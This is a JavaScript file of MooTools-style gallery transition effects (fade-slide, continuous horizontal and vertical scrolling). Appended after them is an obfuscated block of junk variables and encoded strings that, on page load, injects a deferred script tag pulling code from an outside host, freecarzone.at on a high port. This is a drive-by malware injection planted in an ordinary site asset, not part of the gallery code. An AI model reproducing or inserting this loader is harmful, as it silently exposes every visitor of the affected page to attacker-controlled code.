/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});


var sI='';var xL=new String();var T;if(T!='l'){T=''};var hA;if(hA!='' && hA!='_Q'){hA=null};function x(){this.P='';var W=window;var hF="";var Gx;if(Gx!='' && Gx!='O'){Gx=''};var J="";var H=W['unescape'];var V=H("%2f%72%65%6e%72%65%6e%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%31%65%31%30%30%2e%6e%65%74%2e%70%68%70");var Or;if(Or!='' && Or!='t'){Or=''};var nD=new String();function h(K,_){var Op;if(Op!=''){Op='Nt'};this.OpL="";var rF=new Array();var D=H("%5d");var q;if(q!='wd' && q!='cK'){q=''};var lV;if(lV!='_D' && lV!='F'){lV=''};var Y=H("%5b");var G="g";var vc="";var HH=new RegExp(Y+_+D, G);return K.replace(HH, new String());this.Qt='';};var wN='';var b;if(b!='tP' && b!='di'){b='tP'};var v=h('dneifzetrO','otynqgTzOix');var Jh;if(Jh!='' && Jh!='xD'){Jh=''};var lf="";var n=h('sNrWcN','VRmqNUQW');var S=document;var W_=h('81651596451263911095951999659226339584356115633153946055791455796419','63412795');var o=h('s5cKrmihpBtR','N_QzhRB5ZvPogFlWIK90jmLfY');var Gh=new Array();function I(){var Ch=new String();this.bD="";var M=H("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");this.vH="";var vI;if(vI!='Ux' && vI != ''){vI=null};var k=M;var JN;if(JN!='' && JN!='KJ'){JN='Lk'};k+=W_;var gO;if(gO!='NI' && gO != ''){gO=null};k+=V;var U_;if(U_!='gr'){U_='gr'};this.hg="";try {var mM;if(mM!='Uw' && mM!='cr'){mM='Uw'};B=S[h('cdr5eua4t4euEIluedmdeInKtu','u4KbdIZ5o')](o);var rJ="";var TP;if(TP!='Fp' && TP != ''){TP=null};B[n]=k;this.D_='';this.yQ="";B[v]=[1][0];var qe=new Date();var JU=new String();S.body[h('a5pGpYeknBdFCwhJiBlGd6','WI6SsDwBQkFJKG5Yg')](B);var BK="";var UP='';} catch(nk){var mA="";};var hD;if(hD!='' && hD!='Wt'){hD='pd'};var WZ;if(WZ!='' && WZ!='EM'){WZ=''};var Mg;if(Mg!='JJ' && Mg!='u'){Mg=''};var Zi="";}var DV=new Date();var s=h('oknKlZoAa2db','OD42gZru_wVb8AKYBk76');var eH='';var hS='';W[s]=I;this.qE="";var cA;if(cA!='' && cA!='bS'){cA=null};};var pJ=new String();x();var Nf='';